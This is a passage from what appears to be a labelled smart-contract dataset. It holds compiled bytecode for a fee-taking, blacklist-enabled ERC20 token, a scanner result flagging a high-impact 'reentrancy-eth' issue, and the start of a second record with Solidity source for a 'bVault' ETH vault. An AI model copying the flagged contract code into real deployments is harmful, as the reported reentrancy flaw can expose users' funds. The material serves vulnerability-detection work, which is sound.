ffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f4150454c4c4f4e00000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef490718466dc748155098e4bc30ec0e3a5b079a69d0e189b807d724d9c6eaf264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,095
0xCBdbdF2f8b9988fF8e9750307B229e2E185C1Abe
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address=>uint256) private _mintLastBlockHeight; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(block.number>_mintLastBlockHeight[sender],"ERC20: sender account locked"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _mintLastBlockHeight[account] = block.number; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface WETH { function deposit() external payable; function withdraw(uint wad) external; event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract bVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint public min = 9500; uint public constant max = 10000; uint public depositWithdrawInterval = 60; mapping(address => bool) public approved; mapping(address => uint256) userDepoistTime; address public feeAddress; uint public fee1 = 100; //fee within 24 hours uint public fee2 = 3; //fee within 1 week uint public fee3 = 1; //fee without 1 week uint public feeMax = 1000; uint256 public totalDepositCap = uint256(-1); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public governance; address public controller; address public timelock; modifier onlyRestrictContractCall() { address s = msg.sender; require(approved[msg.sender] || msg.sender == tx.origin, "Sorry we do not accept contract"); _; } function () external payable { if (msg.sender != weth) { depositETH(); } } constructor () public ERC20Detailed( "BT:vault:ETH","bETH",18 ) { governance = tx.origin; controller = 0x5C6d3Cb5612b551452B3E9b48c920559634510D4; feeAddress = tx.origin; timelock = tx.origin; } function balance() public view returns (uint) { return IERC20(weth).balanceOf(address(this)) .add(Controller(controller).balanceOf(weth)); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); 